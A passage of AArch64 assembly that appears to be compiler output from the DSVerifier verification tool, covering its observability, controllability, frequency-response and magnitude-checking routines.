ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1589
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1587:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1590
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
add x0, sp, 40
bl determinant
fcmp d0, #0.0
bne .L1586
adrp x0, __PRETTY_FUNCTION__.1
add x3, x0, :lo12:__PRETTY_FUNCTION__.1
mov w2, 163
adrp x0, .LC58
add x1, x0, :lo12:.LC58
adrp x0, .LC61
add x0, x0, :lo12:.LC61
bl __assert_fail
.L1586:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 552]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1592
bl __stack_chk_fail
.L1592:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 560
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE149:
.size verify_controllability_double, .-verify_controllability_double
.section .rodata
.align 3
.LC62:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
.align 3
.LC63:
.string "determinant(observabilityMatrix_double,nStates) != 0"
.text
.align 2
.global verify_observability
.type verify_observability, %function
verify_observability:
.LFB150:
.cfi_startproc
sub sp, sp, #944
.cfi_def_cfa_offset 944
stp x29, x30, [sp]
.cfi_offset 29, -944
.cfi_offset 30, -936
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 936]
mov x1, 0
str wzr, [sp, 24]
b .L1594
.L1597:
str wzr, [sp, 28]
b .L1595
.L1596:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 168
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 424
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 552
str xzr, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1595:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1596
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1594:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1597
str wzr, [sp, 24]
b .L1598
.L1601:
str wzr, [sp, 28]
b .L1599
.L1600:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 28]
ldrsw x2, [sp, 24]
lsl x2, x2, 2
add x1, x2, x1
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str x2, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1599:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1600
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1598:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1601
str wzr, [sp, 24]
b .L1602
.L1605:
str wzr, [sp, 28]
b .L1603
.L1604:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 28]
ldrsw x2, [sp, 24]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 32
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 168
str x2, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1603:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1604
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1602:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1605
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
cmp w0, 1
ble .L1606
str wzr, [sp, 28]
str wzr, [sp, 32]
b .L1607
.L1612:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w6, w0
ldr w1, [sp, 32]
add x2, sp, 424
add x0, sp, 40
mov x4, x2
mov w3, w1
mov x2, x0
mov w1, w6
mov w0, w5
bl fxp_exp_matrix
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w9, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w3, w0
add x2, sp, 552
add x1, sp, 424
add x0, sp, 168
mov x6, x2
mov x5, x1
mov x4, x0
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
str wzr, [sp, 36]
b .L1608
.L1611:
str wzr, [sp, 24]
b .L1609
.L1610:
ldrsw x0, [sp, 24]
ldrsw x1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 552
ldr x2, [x1, x0]
ldrsw x0, [sp, 24]
ldrsw x1, [sp, 28]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
str x2, [x1, x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1609:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1610
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1608:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 36]
cmp w1, w0
blt .L1611
.L1607:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 32]
cmp w1, w0
blt .L1612
str wzr, [sp, 24]
b .L1613
.L1616:
str wzr, [sp, 28]
b .L1614
.L1615:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 424
str xzr, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1614:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mul w0, w1, w0
ldr w1, [sp, 28]
cmp w1, w0
blt .L1615
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1613:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1616
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mul w2, w1, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w3, [x0]
add x1, sp, 424
add x0, sp, 296
bl fxp_transpose
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mul w0, w1, w0
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mul w0, w1, w0
mov w9, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w3, w0
add x2, sp, 808
add x1, sp, 296
add x0, sp, 424
mov x6, x2
mov x5, x1
mov x4, x0
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
str wzr, [sp, 24]
b .L1617
.L1620:
str wzr, [sp, 28]
b .L1618
.L1619:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 808
ldr x0, [x1, x0]
bl fxp_to_double
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 680
str d0, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1618:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1619
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1617:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1620
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
add x0, sp, 680
bl determinant
fcmp d0, #0.0
bne .L1622
adrp x0, __PRETTY_FUNCTION__.0
add x3, x0, :lo12:__PRETTY_FUNCTION__.0
mov w2, 119
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC63
add x0, x0, :lo12:.LC63
bl __assert_fail
.L1606:
str wzr, [sp, 24]
b .L1623
.L1626:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w6, w0
ldr w1, [sp, 24]
add x2, sp, 424
add x0, sp, 40
mov x4, x2
mov w3, w1
mov x2, x0
mov w1, w6
mov w0, w5
bl fxp_exp_matrix
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w9, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w3, w0
add x2, sp, 552
add x1, sp, 424
add x0, sp, 168
mov x6, x2
mov x5, x1
mov x4, x0
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
str wzr, [sp, 28]
b .L1624
.L1625:
ldrsw x0, [sp, 28]
lsl x0, x0, 3
add x1, sp, 552
ldr x2, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
str x2, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1624:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1625
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1623:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1626
str wzr, [sp, 24]
b .L1627
.L1630:
str wzr, [sp, 28]
b .L1628
.L1629:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
ldr x0, [x1, x0]
bl fxp_to_double
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 680
str d0, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1628:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1629
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1627:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1630
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
add x0, sp, 680
bl determinant
fcmp d0, #0.0
bne .L1622
adrp x0, __PRETTY_FUNCTION__.0
add x3, x0, :lo12:__PRETTY_FUNCTION__.0
mov w2, 134
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC63
add x0, x0, :lo12:.LC63
bl __assert_fail
.L1622:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 936]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1632
bl __stack_chk_fail
.L1632:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 944
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE150:
.size verify_observability, .-verify_observability
.align 2
.global resp_mag
.type resp_mag, %function
resp_mag:
.LFB151:
.cfi_startproc
stp x29, x30, [sp, -352]!
.cfi_def_cfa_offset 352
.cfi_offset 29, -352
.cfi_offset 30, -344
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
stp x27, x28, [sp, 80]
str d8, [sp, 96]
sub sp, sp, #16
.cfi_offset 19, -336
.cfi_offset 20, -328
.cfi_offset 21, -320
.cfi_offset 22, -312
.cfi_offset 23, -304
.cfi_offset 24, -296
.cfi_offset 25, -288
.cfi_offset 26, -280
.cfi_offset 27, -272
.cfi_offset 28, -264
.cfi_offset 72, -256
str x0, [x29, 232]
str w1, [x29, 228]
str x2, [x29, 216]
str w3, [x29, 224]
str x4, [x29, 208]
str w5, [x29, 204]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 344]
mov x1, 0
mov x0, sp
mov x28, x0
ldr w0, [x29, 204]
add w1, w0, 1
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 264]
sxtw x0, w1
str x0, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x7, x4, 6
orr x7, x0, x7
mov x0, x2
lsl x6, x0, 6
sxtw x0, w1
str x0, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x21, x4, 6
orr x21, x0, x21
mov x0, x2
lsl x20, x0, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1634:
cmp sp, x1
beq .L1635
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1634
.L1635:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1636
str xzr, [sp, 1024]
.L1636:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 272]
ldr w0, [x29, 204]
add w0, w0, 1
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 280]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x19, x4, 6
orr x19, x1, x19
mov x1, x2
lsl x18, x1, 6
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x17, x4, 6
orr x17, x1, x17
mov x1, x2
lsl x16, x1, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1637:
cmp sp, x1
beq .L1638
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1637
.L1638:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1639
str xzr, [sp, 1024]
.L1639:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 288]
ldr w0, [x29, 204]
add w0, w0, 1
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 296]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x15, x4, 6
orr x15, x1, x15
mov x1, x2
lsl x14, x1, 6
sxtw x1, w0
mov x26, x1
mov x27, 0
lsr x1, x26, 58
lsl x13, x27, 6
orr x13, x1, x13
lsl x12, x26, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1640:
cmp sp, x1
beq .L1641
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1640
.L1641:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1642
str xzr, [sp, 1024]
.L1642:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 304]
ldr w0, [x29, 204]
add w0, w0, 1
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 312]
sxtw x1, w0
mov x24, x1
mov x25, 0
lsr x1, x24, 58
lsl x11, x25, 6
orr x11, x1, x11
lsl x10, x24, 6
sxtw x1, w0
mov x22, x1
mov x23, 0
lsr x1, x22, 58
lsl x9, x23, 6
orr x9, x1, x9
lsl x8, x22, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1643:
cmp sp, x1
beq .L1644
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1643
.L1644:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1645
str xzr, [sp, 1024]
.L1645:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 320]
str xzr, [x29, 256]
str wzr, [x29, 252]
b .L1646
.L1651:
ldr x0, [x29, 232]
ldr d0, [x0]
ldr x0, [x29, 272]
ldrsw x1, [x29, 252]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 288]
ldrsw x1, [x29, 252]
str xzr, [x0, x1, lsl 3]
mov w0, 1
str w0, [x29, 248]
b .L1647
.L1648:
ldr x0, [x29, 272]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
str d0, [x29, 336]
mov w0, 6
ldr d0, [x29, 256]
bl cosTyl
fmov d1, d0
ldr x0, [x29, 272]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d8, d1, d0
mov w0, 6
ldr d0, [x29, 256]
bl sinTyl
fmov d1, d0
ldr x0, [x29, 288]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d0, d1, d0
fsub d1, d8, d0
ldrsw x0, [x29, 248]
lsl x0, x0, 3
ldr x1, [x29, 232]
add x0, x1, x0
ldr d0, [x0]
fadd d0, d1, d0
ldr x0, [x29, 272]
ldrsw x1, [x29, 252]
str d0, [x0, x1, lsl 3]
mov w0, 6
ldr d0, [x29, 256]
bl sinTyl
fmov d1, d0
ldr d0, [x29, 336]
fmul d8, d1, d0
mov w0, 6
ldr d0, [x29, 256]
bl cosTyl
fmov d1, d0
ldr x0, [x29, 288]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d0, d1, d0
fadd d0, d8, d0
ldr x0, [x29, 288]
ldrsw x1, [x29, 252]
str d0, [x0, x1, lsl 3]
ldr w0, [x29, 248]
add w0, w0, 1
str w0, [x29, 248]
.L1647:
ldr w1, [x29, 248]
ldr w0, [x29, 228]
cmp w1, w0
blt .L1648
ldr x0, [x29, 216]
ldr d0, [x0]
ldr x0, [x29, 304]
ldrsw x1, [x29, 252]
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 320]
ldrsw x1, [x29, 252]
str xzr, [x0, x1, lsl 3]
mov w0, 1
str w0, [x29, 248]
b .L1649
.L1650:
ldr x0, [x29, 304]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
str d0, [x29, 336]
mov w0, 6
ldr d0, [x29, 256]
bl cosTyl
fmov d1, d0
ldr x0, [x29, 304]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d8, d1, d0
mov w0, 6
ldr d0, [x29, 256]
bl sinTyl
fmov d1, d0
ldr x0, [x29, 320]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d0, d1, d0
fsub d1, d8, d0
ldrsw x0, [x29, 248]
lsl x0, x0, 3
ldr x1, [x29, 216]
add x0, x1, x0
ldr d0, [x0]
fadd d0, d1, d0
ldr x0, [x29, 304]
ldrsw x1, [x29, 252]
str d0, [x0, x1, lsl 3]
mov w0, 6
ldr d0, [x29, 256]
bl sinTyl
fmov d1, d0
ldr d0, [x29, 336]
fmul d8, d1, d0
mov w0, 6
ldr d0, [x29, 256]
bl cosTyl
fmov d1, d0
ldr x0, [x29, 320]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d0, d1, d0
fadd d0, d8, d0
ldr x0, [x29, 320]
ldrsw x1, [x29, 252]
str d0, [x0, x1, lsl 3]
ldr w0, [x29, 248]
add w0, w0, 1
str w0, [x29, 248]
.L1649:
ldr w1, [x29, 248]
ldr w0, [x29, 224]
cmp w1, w0
blt .L1650
ldr x0, [x29, 272]
ldrsw x1, [x29, 252]
ldr d1, [x0, x1, lsl 3]
ldr x0, [x29, 272]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d1, d1, d0
ldr x0, [x29, 288]
ldrsw x1, [x29, 252]
ldr d2, [x0, x1, lsl 3]
ldr x0, [x29, 288]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d0, d2, d0
fadd d0, d1, d0
fcvt s0, d0
bl sqrt3
ldrsw x0, [x29, 252]
lsl x0, x0, 3
ldr x1, [x29, 208]
add x0, x1, x0
fcvt d0, s0
str d0, [x0]
ldr x0, [x29, 304]
ldrsw x1, [x29, 252]
ldr d1, [x0, x1, lsl 3]
ldr x0, [x29, 304]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d1, d1, d0
ldr x0, [x29, 320]
ldrsw x1, [x29, 252]
ldr d2, [x0, x1, lsl 3]
ldr x0, [x29, 320]
ldrsw x1, [x29, 252]
ldr d0, [x0, x1, lsl 3]
fmul d0, d2, d0
fadd d0, d1, d0
fcvt s0, d0
bl sqrt3
fcvt d0, s0
str d0, [x29, 328]
ldr d0, [x29, 328]
fcmp d0, #0.0
cset w0, ne
and w0, w0, 255
bl __DSVERIFIER_assume
ldrsw x0, [x29, 252]
lsl x0, x0, 3
ldr x1, [x29, 208]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [x29, 252]
lsl x0, x0, 3
ldr x1, [x29, 208]
add x0, x1, x0
ldr d0, [x29, 328]
fdiv d0, d1, d0
str d0, [x0]
ldr w0, [x29, 204]
scvtf d0, w0
adrp x0, .LC64
ldr d1, [x0, #:lo12:.LC64]
fdiv d0, d1, d0
ldr d1, [x29, 256]
fadd d0, d1, d0
str d0, [x29, 256]
ldr w0, [x29, 252]
add w0, w0, 1
str w0, [x29, 252]
.L1646:
ldr d0, [x29, 256]
adrp x0, .LC64
ldr d1, [x0, #:lo12:.LC64]
fcmpe d0, d1
bls .L1651
mov sp, x28
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 344]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L1652
bl __stack_chk_fail
.L1652:
mov sp, x29
ldr d8, [sp, 96]
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldp x27, x28, [sp, 80]
ldp x29, x30, [sp], 352
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 28
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_restore 72
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE151:
.size resp_mag, .-resp_mag
.section .rodata
.align 3
.LC65:
.string "|----------------Passband Failure-------------|"
.align 3
.LC66:
.string "|-------------Cutoff Frequency Failure--------|"
.align 3
.LC67:
.string "|----------------Stopband Failure-------------|"
.text
.align 2
.global verify_magnitude
.type verify_magnitude, %function
verify_magnitude:
.LFB152:
.cfi_startproc
stp x29, x30, [sp, -336]!
.cfi_def_cfa_offset 336
.cfi_offset 29, -336
.cfi_offset 30, -328
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
str x27, [sp, 80]
sub sp, sp, #16
.cfi_offset 19, -320
.cfi_offset 20, -312
.cfi_offset 21, -304
.cfi_offset 22, -296
.cfi_offset 23, -288
.cfi_offset 24, -280
.cfi_offset 25, -272
.cfi_offset 26, -264
.cfi_offset 27, -256
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 328]
mov x1, 0
mov x0, sp
mov x19, x0
mov w0, 100
str w0, [x29, 228]
ldr w0, [x29, 228]
scvtf d0, w0
fmov d1, 1.0e+0
fdiv d0, d1, d0
str d0, [x29, 240]
ldr w0, [x29, 228]
add w1, w0, 1
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 248]
sxtw x0, w1
mov x4, x0
mov x5, 0
lsr x0, x4, 58
lsl x3, x5, 6
orr x3, x0, x3
lsl x2, x4, 6
sxtw x0, w1
mov x8, x0
mov x9, 0
lsr x0, x8, 58
lsl x7, x9, 6
orr x7, x0, x7
lsl x6, x8, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1654:
cmp sp, x0
beq .L1655
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1654
.L1655:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1656
str xzr, [sp, 1024]
.L1656:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 256]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 264]
sxtw x0, w1
mov x16, x0
mov x17, 0
lsr x0, x16, 58
lsl x11, x17, 6
orr x11, x0, x11
lsl x10, x16, 6
sxtw x0, w1
mov x14, x0
mov x15, 0
lsr x0, x14, 58
lsl x13, x15, 6
orr x13, x0, x13
lsl x12, x14, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1657:
cmp sp, x1
beq .L1658
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1657
.L1658:
and x1, x0, 65535
sub sp, sp, x1
